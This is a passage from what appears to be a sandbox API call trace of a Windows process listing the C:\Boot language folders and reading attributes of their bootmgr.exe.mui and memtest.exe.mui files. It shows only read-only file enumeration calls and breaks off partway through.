	[0240.018] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.018] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60)) returned 1
	[0240.018] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.019] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU" (normalized: "c:\\boot\\hu-hu"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.019] CreateFileW (lpFileName="C:\\Boot\\hu-HU" (normalized: "c:\\boot\\hu-hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.019] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0240.019] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.020] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.020] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0240.020] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.020] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0240.020] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.020] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360)) returned 1
	[0240.021] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.022] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398)) returned 1
	[0240.022] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.023] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT" (normalized: "c:\\boot\\it-it"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.023] CreateFileW (lpFileName="C:\\Boot\\it-IT" (normalized: "c:\\boot\\it-it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.023] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0240.023] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.023] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.023] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0240.024] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.024] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0240.024] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.024] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58)) returned 1
	[0240.024] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.024] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1
	[0240.028] SetEvent (hEvent=0x124) returned 1
	[0240.028] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.028] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP" (normalized: "c:\\boot\\ja-jp"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.028] CreateFileW (lpFileName="C:\\Boot\\ja-JP" (normalized: "c:\\boot\\ja-jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.029] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0240.029] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.029] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.029] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0240.029] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.029] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0240.029] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.029] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760)) returned 1
	[0240.030] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.030] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798)) returned 1
	[0240.030] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.031] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR" (normalized: "c:\\boot\\ko-kr"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.033] CreateFileW (lpFileName="C:\\Boot\\ko-KR" (normalized: "c:\\boot\\ko-kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.033] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0240.034] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.034] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.034] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0240.034] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.034] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0240.034] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.034] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560)) returned 1
	[0240.035] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.035] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0)) returned 1
	[0240.035] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.035] GetFileAttributesExW (in: lpFileName="C:\\Boot\\lt-LT" (normalized: "c:\\boot\\lt-lt"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.036] CreateFileW (lpFileName="C:\\Boot\\lt-LT" (normalized: "c:\\boot\\lt-lt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.036] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0240.036] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.036] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
